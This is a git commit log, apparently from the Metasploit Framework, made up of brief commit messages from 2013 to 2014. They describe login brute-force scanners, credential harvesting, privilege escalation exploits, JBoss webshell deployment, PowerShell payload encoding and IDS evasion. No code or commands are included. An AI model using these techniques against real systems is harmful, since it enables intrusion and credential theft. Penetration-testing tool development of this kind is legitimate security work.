sinn3r faee2c7026 Land #3492 - sqlmap plugin for sqlmap API 2014-07-25 16:30:30 -05:00
Tod Beardsley 3e304536ea Land #3554, Typo3 mixin specs 2014-07-25 16:06:40 -05:00
Alton Johnson 58502f139a Updated. 2014-07-25 15:46:50 -05:00
Tod Beardsley 1cdff92e72 Revert "change to .gitignore"
This reverts commit 6747ba91ed.
2014-07-25 14:56:10 -05:00
cx cdabfb84f4 Add Wordpress XML-RPC Login Scanner
This module attempts to authenticate against a Wordpress-site (via
  XMLRPC) using username and password combinations indicated by the
  USER_FILE, PASS_FILE, and USERPASS_FILE options.

  The module, checks for XMLRPC response using `demo.sayHello` function
  and sweeps users with `wp.getUsers` function.

  If `verbose` is set `true`, the raw XML response will be printed.

  The module might be usefull when the target's administration page
  is protected.
2014-07-25 16:24:09 +03:00
Alton Johnson d0cd5cfc7a Updated. 2014-07-24 21:53:23 -05:00
Alton Johnson cdc56df09f Updated smb_enumshares.rb 2014-07-24 21:18:02 -05:00
Alton Johnson 51c488a5ea Added smb_enumshares. 2014-07-24 21:11:18 -05:00
OJ 210342df5b Minor tidies to conform to standards 2014-07-25 09:32:54 +10:00
James Lee a0a2fddee8 Land #3562, yardoc cleanup 2014-07-24 17:25:12 -05:00
OJ 9fe2dd59aa Move error messages to check 2014-07-25 07:57:09 +10:00
David Bloom e35ee1f037 Update gnome_commander_creds.rb 2014-07-24 23:36:32 +02:00
David Bloom f4440680b6 Update gnome_commander_creds.rb 2014-07-24 23:30:26 +02:00
ikkini 03f68e21e7 Merge branch 'rsync_modules' of https://github.com/ikkini/metasploit-framework into rsync_modules 2014-07-24 23:29:14 +02:00
ikkini ccb26637e7 List all (listable) modules from a rsync daemon 2014-07-24 23:26:41 +02:00
David Bloom 9dc37c3cc7 Update gnome_commander_creds.rb 2014-07-24 23:18:26 +02:00
David Bloom 48982b3b89 Update gnome_commander_creds.rb 2014-07-24 23:16:45 +02:00
David Bloom 2e5c2a514b Update gnome_commander_creds.rb 2014-07-24 23:16:10 +02:00
David Bloom 9aa1b86d8f Update gnome_commander_creds.rb 2014-07-24 23:10:00 +02:00
David Bloom 718c401472 Update gnome_commander_creds.rb 2014-07-24 23:01:30 +02:00
us3r777 cd2ec0a863 Refactored jboss mixin and modules
Moved fail_with() from mixin to modules. Added PACKAGE datastore to
lib/msf/http/jboss/bsh.rb.
2014-07-24 22:58:58 +02:00
Tod Beardsley 8b2ff062c3 Land #3568, @jhart-r7 regex fix for dir traversal 2014-07-24 15:43:43 -05:00
Jon Hart bd1970ced9 Fix basic HTTP directory traversal detection 2014-07-24 13:22:58 -07:00
ikkini 6692545eb6 Delete rsync_list.rb 2014-07-24 22:10:08 +02:00
ikkini f12b97e8c0 List all (listable) modules from a rsync daemon 2014-07-24 22:04:00 +02:00
David Bloom 8a6fa178d6 Update gnome_commander_creds.rb 2014-07-24 08:10:28 +02:00
OJ 3ec30bdf78 Add some small fixes to the MQAC local exploit
* Check for `INVALID_HANDLE_VALUE` when attempting to open the
  device, as this is what is returned when the device doesn't exist.
* Make sure that we only run the exploit against tartgets that we
  support directly to make sure we don't BSOD machines (such as what
  happens with SP1/SP2).
* Add a call to `check` in the exploit code.
2014-07-24 14:48:29 +10:00
OJ ddf0636dab Land #3557 : MQAC arbitrary write priv esc XP SP3 2014-07-24 11:24:56 +10:00
David Bloom 41e5e24b19 Update gnome_commander_creds.rb 2014-07-23 20:26:43 +02:00
David Bloom 30c00f4fd6 gnome-commander credentials add 2014-07-23 20:20:29 +02:00
Christian Mehlmauer 57839e0f4b Fix some yardoc issues 2014-07-22 23:26:50 +02:00
us3r777 b526fc50f8 Refactored jboss mixin and modules
Moved VERB option to the mixin. Replaced "if datastore['VERBOSE']"
by vprint_status().
2014-07-22 23:08:42 +02:00
Christian Mehlmauer c1a0f707ef typos 2014-07-22 22:29:01 +02:00
Jay Smith 0db3a0ec97 Update code to reflect @jlee-r7's code review 2014-07-22 15:14:24 -04:00
Jay Smith 125b2df8f5 Update code to reflect @hdmoore code suggestions 2014-07-22 14:53:24 -04:00
Spencer McIntyre 7f79e58e7f Lots and cleanups based on PR feed back 2014-07-22 14:45:00 -04:00
Christian Mehlmauer 073a8c5233 redirection returns an URI 2014-07-22 19:55:26 +02:00
Christian Mehlmauer a6479a77d6 Implented feedback from @jhart-r7 2014-07-22 19:49:58 +02:00
Spencer McIntyre 5d9c6bea9d Fix a typo and use the execute_shellcode function 2014-07-22 13:06:57 -04:00
Samuel Huckins 469ac30539 Merge branch 'upstream-master' 2014-07-22 11:50:13 -05:00
Samuel Huckins e2dd0a35d2 Merge branch 'master' of github.com:shuckins-r7/metasploit-framework 2014-07-22 11:23:19 -05:00
Spencer McIntyre 12904edf83 Remove unnecessary target info and add url reference 2014-07-22 11:20:07 -04:00
Christian Mehlmauer baff003ecc extracted check version to module
also added some wordpress specs and applied
rubocop
2014-07-22 17:02:35 +02:00
Spencer McIntyre ca0dcf23b0 Add a simple check method for cve-2014-4971 2014-07-22 10:54:10 -04:00
Spencer McIntyre 6a545c2642 Clean up the mqac escalation module 2014-07-22 10:39:34 -04:00
Spencer McIntyre da4eb0e08f First commit of MQAC arbitrary write priv escalation 2014-07-22 10:04:12 -04:00
jvazquez-r7 ef12a632f6 Change filename 2014-07-22 08:20:32 -05:00
Brandon Perry d62b24744c Moar " -> ' 2014-07-21 18:04:36 -05:00
Brandon Perry 1a157ff803 Change all the " to ' when not interpolating 2014-07-21 18:00:03 -05:00
Brandon Perry 5190ed750f This adds the human readable IDs
and converts the negative if's into unless.
2014-07-21 17:49:53 -05:00
jvazquez-r7 72c2c07495 Add the specs, really 2014-07-21 17:39:51 -05:00
jvazquez-r7 47d9a30af0 Add specs for Typo3 mixin 2014-07-21 17:39:07 -05:00
us3r777 ae2cd63391 Refactored Jboss mixin
Moved TARGETURI option to the JBoss mixin. The mixin now includes
Msf::Exploit::Remote::HttpClient which provides USERNAME and PASSWORD
2014-07-21 23:41:58 +02:00
Meatballs b0a596b4a1 Update newer modules 2014-07-20 21:59:10 +01:00
Meatballs 5f0533677e Cheat/Rubycop all the things 2014-07-20 21:07:59 +01:00
Meatballs 474ee81807 Merge remote-tracking branch 'upstream/master' into pr2075 2014-07-20 21:01:54 +01:00
Meatballs b28343842f Address @jhart-r7's comments 2014-07-20 21:00:34 +01:00
us3r777 088f208c7c Added auxiliary module jboss_bshdeployer
The module allows to deploy a WAR (a webshell for instance) using the
BSHDeployer.
Also refactored modules/exploits/multi/http/jboss_bshdeployer.rb to
use the new Mixin (lib/msf/http/jboss).
2014-07-18 11:51:46 +02:00
us3r777 58adc350b5 Refactor: Creation of a JBoss mixin
The jboss_bsheployer as is does not allow to deploy a custom WAR file.
It is convenient when ports are blocked to be able to deploy a webshell
instead of just launching a payload. This will require a auxiliary
module which will use the JBoss mixin methods.
2014-07-18 00:56:32 +02:00
Jay Smith 2be6eb16a2 Add in exploit check and version checks
Move the initial checking for the vboxguest device and os checks
into the MSF check routine.
2014-07-17 14:56:34 -04:00
Tod Beardsley b050b5d1df Rubocop -a on MS08-067
This reduces the number of style guide violations from 230ish to 36.
Nearly all of it has to do with errant parameters, element alignment,
and comment blocks.

Obviously, since this was all automatically fixed, some pretty severe
testing should occur before landing this.

I kind of don't like the automatic styling of the arrays for the
references, but maybe I can get used to it. It's open for discussion.

@jhart-r7 please take a look at this as well -- anything jumping out at
you on this that we should be avoiding for Rubocop?
2014-07-17 12:29:20 -05:00
Vincent Herbulot bea660ad4d Added possibility to upload a custom WAR file
Added 2 options, one for uploading a custom WAR file. The other
to specify if you want or not to undeploy the war at the end of
the exploit.
The module as is does not allow to deploy a custom WAR file. It is
convenient when ports are blocked to be able to deploy a webshell
instead of just launching a payload.
2014-07-17 17:13:19 +02:00
Meatballs 7583ed4950 Merge remote-tracking branch 'upstream/master' into pr2075 2014-07-16 20:34:34 +01:00
Jay Smith 6d49f6ecdd Update code to reflect hdmoore's code review. 2014-07-16 14:29:17 -04:00
Jay Smith cef2c257dc Add CVE-2014-2477 local privilege escalation 2014-07-16 05:49:19 -04:00
Joshua Smith 3a41bd983e changes 'module' back to 'script', makes more sense 2014-07-09 17:25:39 -05:00
Joshua Smith c6d7c8890d resolves upstream conflict 2014-07-09 17:23:45 -05:00
Joshua Smith a9e43c308e removes lingering debug lines, changes word script to module 2014-07-09 17:05:35 -05:00
Joshua Smith 8bbaecc726 adds some additional protection against capilization issues 2014-07-09 16:46:28 -05:00
Joshua Smith 172bc450b3 adds TARGET to 'to_neuter' list 2014-07-09 16:46:28 -05:00
Joshua Smith f4942eccd4 cleans up comments, line lengths, dup/clone 2014-07-09 16:46:28 -05:00
Joshua Smith 51db859432 uses exploit_type vs category, thx egypt 2014-07-09 16:46:28 -05:00
linuxchuck ee56828bf7 New updates to scriptable.rb for payload/target
Additional w00t for your pwning pleasure.
2014-07-09 16:46:27 -05:00
Joshua Smith 62785784c6 adds explicit TARGET setting 2014-07-09 16:46:27 -05:00
Joshua Smith cf595d6a10 fixes alias_method call 2014-07-09 16:46:27 -05:00
Joshua Smith 13f5450e53 uses clone instead of dup 2014-07-09 16:46:27 -05:00
Joshua Smith bb13590f02 first shot at letting scriptable.rb handle local exploits 2014-07-09 16:46:27 -05:00
Joshua Smith c957d0a1e7 adds category to msf/core/module.rb 2014-07-09 16:46:27 -05:00
Ahmed Elhady Mohamed 6719aea332 The module has been updated again 2014-07-08 17:03:24 +02:00
AnwarMohamed e908bb6819 formating 2014-07-08 11:02:41 +02:00
AnwarMohamed a513f403ba fixing bugs 2014-07-08 10:58:48 +02:00
AnwarMohamed ead7b35aa9 formating 2014-07-08 10:48:24 +02:00
AnwarMohamed 6e0bc763ff formating 2014-07-08 10:46:16 +02:00
AnwarMohamed 656da8a63b android extension 2014-07-08 04:56:04 +02:00
AnwarMohamed 34dcb609e2 android extension 2014-07-08 04:52:06 +02:00
AnwarMohamed cd0f258502 Merge remote-tracking branch 'upstream/master' 2014-07-08 04:25:32 +02:00
AnwarMohamed 999c305d38 Merge remote-tracking branch 'upstream/master' 2014-07-07 16:29:24 +02:00
Brandon Perry 6c18ee884e Create sqlmap.rb 2014-07-04 10:54:07 -05:00
Brandon Perry 68a0e7c16e Create sqlmap_session.rb 2014-07-04 10:53:37 -05:00
Brandon Perry 88c44bf4f5 Create sqlmap_manager.rb 2014-07-04 10:53:14 -05:00
AnwarMohamed fe34211c93 Merge remote-tracking branch 'upstream/master' 2014-06-27 16:43:13 +02:00
AnwarMohamed 118fc3450c Merge remote-tracking branch 'upstream/master' 2014-06-22 01:22:25 +02:00
ikkini 6747ba91ed change to .gitignore 2014-06-18 19:02:09 +02:00
Joshua Smith ab8270d1a4 adds some additional protection against capilization issues 2014-06-17 17:40:50 -05:00
j0hnf 1a82a20c09 re-added incorrectly removed SMBSHARE option 2014-06-16 20:10:11 +01:00
AnwarMohamed af49280199 Merge remote-tracking branch 'upstream/master' 2014-06-14 12:16:22 +02:00
AnwarMohamed 8b0e382ebf Merge remote-tracking branch 'upstream/master' 2014-06-13 16:52:02 +02:00
AnwarMohamed 72ef4dc704 Merge remote-tracking branch 'upstream/master' 2014-06-11 15:54:27 +02:00
AnwarMohamed d0f43f1aba Merge remote-tracking branch 'upstream/master' 2014-06-05 15:04:07 +02:00
AnwarMohamed 8898dd655c Merge remote-tracking branch 'upstream/master' 2014-06-03 14:34:21 +02:00
Rob Fuller 32ca70212c Merge pull request #7 from jvazquez-r7/review_3388
make MSF_MODULES a constant
2014-05-25 21:40:30 -04:00
jvazquez-r7 e585d11499 make MSF_MODULES a constant 2014-05-25 19:36:40 -05:00
Rob Fuller 61603748bd two more tweaks 2014-05-25 10:45:09 -04:00
Rob Fuller 6435b4370a @Meatballs1 fixes 2014-05-25 10:40:23 -04:00
Rob Fuller e3a6782345 add post module based on @zeroSteiner idea 2014-05-24 23:37:17 -04:00
Chris Hebert 99046ba12a Update alienvault_newpolicyform_sqli.rb
Added EDB link - should be ready now.
2014-05-23 10:07:45 -04:00
AnwarMohamed 96e99a61e4 Merge remote-tracking branch 'upstream/master' 2014-05-15 02:22:18 +02:00
Chris Hebert 681e4194ea Update alienvault_newpolicyform_sqli.rb
and the new variable as well.
2014-05-10 20:19:40 -04:00
Chris Hebert 3ae3c478bd Update alienvault_newpolicyform_sqli.rb
enhanced as requested by Christian Mehlmauer 
changed xnDa to a random string to make IDS harder to detect.
2014-05-10 20:17:30 -04:00
Chris Hebert 1affbfbe9d Update alienvault_newpolicyform_sqli.rb
fixed reinitialize i=0, full = '' and filename .....
 spotted by Spencer McIntyre - thanks.
2014-05-10 18:49:41 -04:00
Chris Hebert 8e79663001 Update alienvault_newpolicyform_sqli.rb
Added vendor advisory
2014-05-10 18:31:12 -04:00
Chris Hebert ec1df58bf7 Update alienvault_newpolicyform_sqli.rb
Changed reference --  OSVDB # 106815
(waiting for EDB - no response yet)
2014-05-10 18:14:09 -04:00
Chris Hebert 473efe1040 Update alienvault_newpolicyform_sqli.rb 2014-05-10 17:28:50 -04:00
Joshua Smith d69fbf0d66 adds TARGET to 'to_neuter' list 2014-05-09 15:57:36 -05:00
mvdevnull 117e0b839b Add module - alienvault_newpolicyform_sqli 2014-05-09 15:10:58 -04:00
Joshua Smith be06007f34 cleans up comments, line lengths, dup/clone 2014-05-08 16:04:18 -05:00
Joshua Smith dfd9522e0d Merge from remote (pr merged via github) 2014-05-07 11:31:03 -05:00
Joshua Smith 6c29bae86d uses exploit_type vs category, thx egypt 2014-05-07 11:29:36 -05:00
Josh d12412d5ab Merge pull request #11 from linuxchuck/patch-1
updates scriptable.rb for explicit target opt and neuters LPORT
2014-05-06 15:40:17 -05:00
linuxchuck 7249191711 New updates to scriptable.rb for payload/target
Additional w00t for your pwning pleasure.
2014-05-06 15:33:51 -05:00
Joshua Smith 4b351b4ae2 adds explicit TARGET setting 2014-05-06 14:17:31 -05:00
Joshua Smith e981d6e286 fixes alias_method call 2014-05-06 13:03:36 -05:00
Joshua Smith 2c07f51ac5 uses clone instead of dup 2014-05-06 11:45:19 -05:00
Joshua Smith 8fe8ee92d9 first shot at letting scriptable.rb handle local exploits 2014-05-06 01:21:11 -05:00
Joshua Smith a270cc6e59 adds category to msf/core/module.rb 2014-05-06 00:46:49 -05:00
AnwarMohamed 57ce85013c Merge remote-tracking branch 'upstream/master' 2014-05-06 01:59:10 +02:00
Meatballs dc38212741 Fix function parsing 2014-05-05 20:53:36 +01:00
Meatballs e946046de5 Add methods spec 2014-05-05 19:08:18 +01:00
Meatballs 0b886db406 Script specs and remove unknown method 2014-05-05 19:01:36 +01:00
Meatballs 0177e51148 Finish obfu specs and use rig 2014-05-05 18:47:25 +01:00
Meatballs 6ab85027a4 More spec 2014-05-05 17:47:30 +01:00
Meatballs 162b6a8ab9 Add output spec 2014-05-05 14:48:18 +01:00
Meatballs 589d235a80 Simple param spec 2014-05-05 13:46:52 +01:00
Meatballs 399928cf69 Remove unnecessary requires 2014-05-05 13:37:17 +01:00
AnwarMohamed 3340b1af5e Merge remote-tracking branch 'upstream/master' 2014-04-30 18:34:38 +02:00
AnwarMohamed 57ea35a19a Merge remote-tracking branch 'upstream/master' 2014-04-29 00:40:22 +02:00
Samuel Huckins 5841756bf1 Merge branch 'bug/9582-metasploit-imports-and-tasks'
Land #3299
2014-04-28 10:28:25 -05:00
Meatballs b860cecad6 Function spec (doesnt pass) 2014-04-28 14:09:39 +01:00
Meatballs 3ae8c3ff46 Basic specs 2014-04-25 18:14:39 +01:00
Meatballs 8031e50d35 Make Exploitation::Powershell testable
Example test
2014-04-26 13:27:25 +01:00
Meatballs 98d2b2293b Unnecessary return 2014-04-26 13:05:47 +01:00
Meatballs be10c8e4ac Split Rex::Exploitation::Powershell::* into individual files 2014-04-26 12:59:43 +01:00
Meatballs 318ae46085 Remove puts 2014-04-26 12:59:19 +01:00
Meatballs 3f5cc13bf8 Better eof test 2014-04-25 17:15:12 +01:00
Meatballs d85e4b1313 Error if encode_inner and encode_final 2014-04-25 15:47:36 +01:00
Meatballs ae574bec2b Correct spec 2014-04-25 15:42:48 +01:00
Meatballs 5b9ec72395 Remove read_script spec 2014-04-25 15:40:52 +01:00
Meatballs 19dd21abaf Remove duplicate methods 2014-04-25 15:40:03 +01:00
Meatballs 206184007f Move methods and rename file so it is run by rspec 2014-04-25 15:16:15 +01:00
Meatballs 72a2849bf1 Better specs
90.6% line coverage in Exploit::Powershell
77.32% in Rex::Exploitation::Powershell and haven't even started
writing those specs...
2014-04-23 08:07:42 +01:00
Meatballs 0137fdb690 Prepend sleep should be an int 2014-04-23 07:29:51 +01:00
Meatballs 61b8fb7921 Remove puts 2014-04-23 06:15:28 +01:00
Meatballs 58c3bf0e59 Further speccage 2014-04-23 06:08:39 +01:00
Meatballs 32fa8748a8 Fix up decompress 2014-04-23 05:20:54 +01:00
Meatballs 11526b59a6 Boolean datastore options should always be present
Dont evaluate true/false as 'true'/'false'!
2014-04-23 05:03:16 +01:00
Meatballs c4cfa42e5b More specs 2014-04-23 02:37:19 +01:00
Meatballs 1347649a47 Remove unused EOFs 2014-04-23 02:37:07 +01:00
Meatballs 01bfad3489 Correct datastore values 2014-04-23 02:08:57 +01:00
Meatballs e774411b63 Revert Enum removal
.NET 4.5 has two constructors with 2 args so this becomes ambiguous
2014-04-23 02:06:14 +01:00
Meatballs d2e8e07cfe Fix old powershell generation 2014-04-23 01:58:02 +01:00
Meatballs dd38a81dfc Fix a @parma 2014-04-23 01:10:13 +01:00
Meatballs 647936e291 Add more yarddoc to Rex::Exploitation::Powershell
encode_code doesn't use eof
no need to unicode encode in gzip as this is handled by encode_code
2014-04-23 01:07:54 +01:00
Meatballs 88fe619c48 Yarddoc exploit::powershell 2014-04-23 00:15:55 +01:00
AnwarMohamed fc5262c878 Merge remote-tracking branch 'upstream/master' 2014-04-22 22:56:42 +02:00
Meatballs 86cfecdd95 Shave some chars off compression code 2014-04-22 14:52:30 +01:00
Meatballs 4c66e86f73 Dont add extra space in args 2014-04-22 14:44:01 +01:00
Meatballs 354311d191 No need to out-null if no windows is shown 2014-04-22 14:42:03 +01:00
Meatballs cec12edd99 Use enum integer values 2014-04-22 14:40:32 +01:00
Meatballs 71b43d392b Dont need to specify ASCII mode 2014-04-22 14:36:02 +01:00
Meatballs d73854ff17 Fix wmi and add automatic target 2014-04-22 14:28:27 +01:00
AnwarMohamed c586649e01 Merge remote-tracking branch 'upstream/master' 2014-04-20 16:53:02 +02:00
Meatballs 5d9bc71e97 Update hp_dataprotector 2014-04-19 19:16:17 +01:00
Meatballs 3019cb99c1 Update cmd_upgrade module 2014-04-19 19:13:48 +01:00
Meatballs 00234aeec3 Remove powershell remoting 2014-04-19 19:03:18 +01:00
Meatballs 0f942d8c3d Still :shorten command args 2014-04-19 18:58:26 +01:00
Meatballs c936dc963c Shorten compression 2014-04-19 18:55:45 +01:00
Meatballs 270b4b9728 Catch first arg with shorten 2014-04-19 18:54:42 +01:00
Meatballs 67f44072ca Merge remote-tracking branch 'upstream/master' into pr2075 2014-04-19 18:45:55 +01:00
Meatballs1 ad414b7458 Merge pull request #47 from sempervictus/merge_psh_0414
Merge psh 0414
2014-04-22 13:07:09 +01:00
RageLtMan 9f05760c50 Merge with Meatballs' initial changes
Clean up arch detection code and dedup Msf/Rex
Reduce generated payload size
2014-04-18 00:28:48 -04:00
RageLtMan 5c3289bbc6 merge fix 2014-04-17 21:26:04 -04:00
James Lee af899254a3 Missed file 2014-04-16 19:14:17 -05:00
James Lee 549e306572 Remove superfluous v6 http{,s} payload and handler 2014-04-16 18:32:35 -05:00
Meatballs 38d8df4040 Merge remote-tracking branch 'upstream/master' into pr2075
Conflicts:
	modules/exploits/windows/local/wmi.rb
2014-04-15 22:06:45 +01:00
David Maloney 3742d9b687 tabassassin to the rescue
because we pulled in the new metasm repo,
retabbed everything to avoid whitespace conflicts
2014-04-11 15:19:16 -05:00
David Maloney c000e418ab Pull in more 64bit compiler fixes
this fixes issues with comparison operations
when compilnig C in metasm for 64bit
2014-04-10 14:46:46 -05:00
AnwarMohamed 96bb3ce561 Merge remote-tracking branch 'upstream/master' 2014-04-09 10:33:06 +02:00
b00stfr3ak 03ad810cf8 Merge pull request #1 from Meatballs1/land_2551
Some changes and cleanup.
2014-03-25 09:37:47 -07:00
Meatballs d53b56c161 Tidy up 2014-03-22 18:38:58 +00:00
Meatballs b524507e4e Merge remote-tracking branch 'upstream/master' into land_2551
Conflicts:
	modules/exploits/windows/local/ask.rb
2014-03-22 18:14:45 +00:00
Meatballs 7b2f0a64fc Tidy up 2014-03-22 18:07:57 +00:00
Meatballs 04506d76f3 Dont check for admin 2014-03-22 17:57:27 +00:00
Meatballs 8dee9b22c3 Reinstate to_byte_array 2014-03-02 22:07:47 +00:00
Meatballs 2acd0a1b1e Reinstance encode_code 2014-03-02 21:03:31 +00:00
Meatballs 2885ebcb40 Merge remote-tracking branch 'upstream/master' into pr2075 2014-03-02 20:57:02 +00:00
Meatballs 0956ae5789 Fix payload selection 2014-03-02 20:56:55 +00:00
Meatballs 1ca690eccf Do some rspec 2014-03-02 20:37:08 +00:00
Meatballs c9a2135959 Merge in semperv 2014-03-02 19:07:13 +00:00
AnwarMohamed b14f3cab46 Revert "android reverse_http/s"
This reverts commit 65ada24d9e.
2014-02-26 04:32:18 +02:00
AnwarMohamed 65ada24d9e android reverse_http/s 2014-02-26 01:44:09 +02:00
j0hnf c62fa83a70 msf recommended changes + tweaked exception handling 2014-02-19 22:20:24 +00:00
j0hnf 4b247e2b9f altered check_dir_file.rb so that it can check for the presence of a list of files/directories supplied using file:/ format rather than being limited to just the one file, handy for checking for indicators of compromise 2014-02-16 03:22:11 +00:00
Meatballs b8b36ef528 Merge remote-tracking branch 'upstream/master' into pr2075 2014-02-14 22:52:55 +00:00
RageLtMan 0056c26047 import msf exploit 2014-02-12 22:06:18 -05:00
RageLtMan 29bf296b61 import rex powershell 2014-02-12 16:45:57 -05:00
RageLtMan b453362a52 Merge remote-tracking branch 'upstream/pr/2966' into integrate_with_meatballs 2014-02-12 16:43:30 -05:00
Meatballs a4b451dbc0 Ensure we start in a new conhost/process 2014-02-09 23:36:25 +00:00
Meatballs aa93299931 Sleep instead of noexit 2014-02-09 23:19:14 +00:00
Meatballs b79bb4726d Go for background approach 2014-02-09 19:41:24 +00:00
Meatballs 038aae5adb Run as jobs 2014-02-09 19:30:16 +00:00
Meatballs 1c169e2935 Uniq results 2014-02-09 17:52:06 +00:00
Meatballs 6972b8eb7b Merge branch 'pr2075' into powershell_remoting 2014-02-09 17:46:08 +00:00
Meatballs c76341c82d Dont dsub Invoke-Command etc... 2014-02-09 17:45:30 +00:00
Meatballs 2cea90f931 Working remoting 2014-02-09 17:43:44 +00:00
Meatballs 151e45d8d1 Better exception descriptions 2014-02-09 12:52:56 +00:00
Meatballs 77dda5dc67 Give option to remove badchars 2014-02-09 12:34:25 +00:00
Meatballs 0379dc128c Raise exception on known issues 2014-02-09 12:15:02 +00:00
Meatballs a00481beb4 Auto target psexec/psh_web 2014-02-09 11:47:15 +00:00
Meatballs 1f9b452425 Dont tidy up template yet 2014-02-09 11:23:39 +00:00
Meatballs f1959f5313 Fixup WMI 2014-02-09 11:18:15 +00:00
Meatballs 02f1ff27ee Add option to encode inner payload 2014-02-09 00:55:26 +00:00
Meatballs f398c982e3 Include option to ensure payload is fully encoded 2014-02-08 23:51:13 +00:00
Meatballs ad308efc05 Really minimize commandline size 2014-02-08 22:53:47 +00:00
Meatballs c37cb5075c Merge remote-tracking branch 'upstream/master' into pr2075 2014-02-08 22:11:31 +00:00
Meatballs c76862b391 Reduce payload size 2014-02-08 22:11:17 +00:00
Meatballs b10df54dbb Dont need to encode the compress payload 2014-02-08 21:34:51 +00:00
Meatballs 09c48358f4 Retab rex powershell 2014-02-08 20:43:04 +00:00
Ahmed Elhady Mohamed 003c1276cd The module has been updated 2014-01-28 00:31:02 +02:00
Ahmed Elhady Mohamed c6c37fe7b5 arbitrary file upload vulnerability found in GetSimple CMS by abusing 2014-01-17 06:35:33 +02:00
Meatballs 435cc9b93f Add single quote encapsulation
For WMI and psh_web_delivery
2013-12-16 15:13:13 +00:00
Meatballs b252e7873b Merge remote-tracking branch 'upstream/master' into pr2075 2013-12-16 14:29:05 +00:00
b00stfr3ak 0cf1b7fece add original ask.rb 2013-12-09 14:35:31 -07:00
b00stfr3ak 1d07b2bbfa Revert "removed ask file, already in pull request 2551"
This reverts commit 5ceda7c042.
2013-12-09 14:31:43 -07:00
Meatballs cd68b10bcf Broadcast needs a decent WfsDelay.
Due to the multi railgun changes. Because they return quickly but
the process is still broadcasting them the exploit thinks work has
finished...
2013-11-23 19:18:13 +00:00
Meatballs 6c83109422 Really fix wmi 2013-11-23 16:44:44 +00:00
Meatballs 259d5a2dba Backout Set-Variable as it is 3.0 only 2013-11-23 01:15:13 +00:00
Meatballs 1c60373f68 Reinstate %COMSPEC% 2013-11-23 00:45:04 +00:00
Meatballs c194fdc67e Fixup WMI
-c doesn't like $var assignments
2013-11-23 00:31:11 +00:00
Meatballs ec36cebeb4 Update cmd_psh_payloads to send the architecture. 2013-11-22 23:31:33 +00:00
Meatballs 622a1dccda Update wmi to use generated powershell command line 2013-11-22 23:18:22 +00:00
Meatballs 9835649858 Update hwnd_broadcast to use generated powershell command line. 2013-11-22 23:04:44 +00:00
Meatballs c5007f67ab Retab psexec_psh 2013-11-22 23:00:36 +00:00
Meatballs 3cbf768d16 Small size reductions 2013-11-22 22:58:42 +00:00
Meatballs 20b76602a1 Merge remote-tracking branch 'upstream/master' into pr2075
Conflicts:
	lib/msf/core/exploit/powershell.rb
2013-11-22 22:41:08 +00:00
b00stfr3ak 5ceda7c042 removed ask file, already in pull request 2551 2013-10-25 14:46:50 -07:00
b00stfr3ak a476595ddb Added require to post/windows 2013-10-25 14:42:22 -07:00
b00stfr3ak 84999115d7 Added PSH option if UAC is turned off
This will give the option to drop an exe or use psh if uac is turned
off.  The lib can be used for post exploitation to drop an exe or use
powershell and then execute it with the runas command.  I have used the
lib for both bypassuac and ask.
2013-10-25 14:37:12 -07:00
b00stfr3ak 868b70c9ed Added priv lib and runas lib
Cleaned up code with using the new lib files
2013-10-25 14:05:33 -07:00
b00stfr3ak c2a69239ee Merge remote-tracking branch 'upstream/master' 2013-10-23 12:08:05 -07:00
b00stfr3ak a5eb61c6f9 Merge remote-tracking branch 'upstream/master' 2013-10-23 09:54:30 -07:00
b00stfr3ak a06c0a9575 Merge branch 'local/ask' 2013-10-22 16:06:16 -07:00
b00stfr3ak 69131323af Merge remote-tracking branch 'upstream/master' 2013-10-22 16:05:19 -07:00
Meatballs 4fc8bb2b4b Auto arch detection 2013-10-22 00:42:59 +01:00
b00stfr3ak 9695b2d662 Added check method
The method checks to see if the user is a part of the admin group.  If
the user is the exploit continues, if not the exploit stops because it
will prompt the user for a password instead of just clicking ok.
2013-10-21 11:57:50 -07:00
b00stfr3ak 6881774c03 Updated with comments from jlee-r7 and Meatballs1
Added fail_with instead of just print_error
figured a way to execute the cmd_psh_payload with out using gsub
added case statment for datastore['TECHNIQUE']
2013-10-20 01:15:51 -07:00
b00stfr3ak 6de279733c Merge branch 'local/ask' 2013-10-19 10:51:55 -07:00
b00stfr3ak a5dc75a82e Added PSH option to windows/local/ask exploit
Gives you the ability to use powershell to 'ask' for admin rights if the
user has them.  Using powershell makes the pop up blue instead of orange
and states that the company is Microsoft, it also doesn't drop an exe
on the system.  Looks like 32 bit https works but if you migrate out you
loose priv and if you run cachedump the session hangs.
2013-10-19 00:15:38 -07:00
Meatballs 971d0b7536 Generate args 2013-09-27 12:48:10 +01:00
Meatballs 5add142789 Choose smallest smallest 2013-09-20 13:47:51 +01:00
Meatballs 9aca98a9d4 Dont need to bypass 2013-09-17 19:12:49 +01:00
Meatballs d6f2da690a Fix web delivery 2013-09-13 21:27:59 +01:00
Meatballs 60328d5b2a Bypass no profile and hidden by default 2013-09-13 21:22:15 +01:00
Meatballs b4d1fd6ff8 Fixup rex text 2013-09-13 21:15:28 +01:00
Meatballs 5a5b67b393 Get lastest exe 2013-09-13 21:01:04 +01:00
Meatballs 2b6445385c Merge 2013-09-13 20:46:54 +01:00
Meatballs df19d69e62 Merge branch 'master' of github.com:rapid7/metasploit-framework into pr2075 2013-09-13 20:43:49 +01:00
Meatballs 9ade4cb671 Refactor 2013-09-13 20:43:09 +01:00
Meatballs aa4ad2b005 Change to ' and remove " 2013-09-13 20:23:18 +01:00
Meatballs 243d3d6ebd Apply comments 2013-09-13 19:19:54 +01:00
Meatballs b241b5a894 Apply comments 2013-09-13 19:15:39 +01:00
RageLtMan 2c850d8f8b Merge branch 'powershell_import' of github.com:sempervictus/metasploit-framework into powershell_import 2013-07-31 18:39:46 -04:00
RageLtMan 7c46e95e8f Merge branch 'master' of https://github.com/rapid7/metasploit-framework into powershell_import 2013-07-31 18:34:57 -04:00
RageLtMan 976c058941 Merge pull request #5 from Meatballs1/psh_merge
Looks good from here, though we may want to address the all caps opt names.
2013-07-29 23:17:55 -07:00
Meatballs d2e57eaf4e Merge remote-tracking branch 'origin/psh_merge' into psh_merge 2013-07-29 15:33:14 +01:00
Meatballs e1cfe7cfe2 Update datastore changes 2013-07-29 15:31:59 +01:00
Meatballs 59a2c7e940 Merge Upstream Exploit::Powershell 2013-07-29 15:24:29 +01:00
Meatballs eb3f83f26f Merge remote-tracking branch 'remotes/semperv/powershell_import' into psh_merge
Conflicts:
	modules/exploits/windows/smb/psexec_psh.rb
2013-07-29 15:17:52 +01:00
Meatballs 176de5a380 Selective psexec_psh merge. 2013-07-29 15:13:59 +01:00
RageLtMan b3fab9a342 Fix git branch mauling - reintroduce psexec_psh
Replace powershell lib which snuck in as psexec_psh.
